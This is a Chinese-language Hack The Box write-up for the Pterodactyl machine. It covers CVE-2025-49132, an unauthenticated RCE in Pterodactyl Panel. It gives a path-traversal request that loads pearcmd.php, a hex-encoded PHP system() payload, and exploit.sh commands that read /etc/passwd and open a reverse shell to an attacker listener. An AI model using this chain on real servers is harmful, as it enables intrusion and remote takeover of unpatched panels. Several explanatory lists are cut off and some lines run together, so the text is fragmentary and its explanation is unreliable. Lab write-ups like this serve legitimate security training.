HTB 第10季 - Pterodactyl 机器 Writeup
目标: Pterodactyl HTB 机器(中等难度)
CVE: CVE-2025-49132
严重性: 严重 (CVSS 9.8)
攻击类型: 未授权远程代码执行
影响版本: Pterodactyl Panel < v1.11.11
此漏洞利用链结合了:
Pterodactyl Panel 的 /locales/locale.json 端点允许通过 locale 参数进行路径遍历:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd
这可以与 PEAR 的 pearcmd.php 结合使用:
/tmpPEAR (PHP 扩展与应用仓库) 有一个 CLI 工具 (pearcmd.php):
config-create 命令可以写入文件漏洞利用链:
路径遍历 → 加载 pearcmd.php → 通过 config-create 注入 PHP → 执行恶意 PHP
命令使用 hex2bin() 进行十六进制编码,以绕过:
示例:
命令: whoami
十六进制: 77686f616d69
载荷: <?=system(hex2bin('77686f616d69'))?>
方法:使用提供的 exploit.sh
chmod +x exploit.sh
# 获取用户标志
./exploit.sh flag
# 执行命令
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"
# 反向 Shell
nc -lvnp 4444 # 在攻击者机器上
./exploit.sh shell 10.10.14.21 4444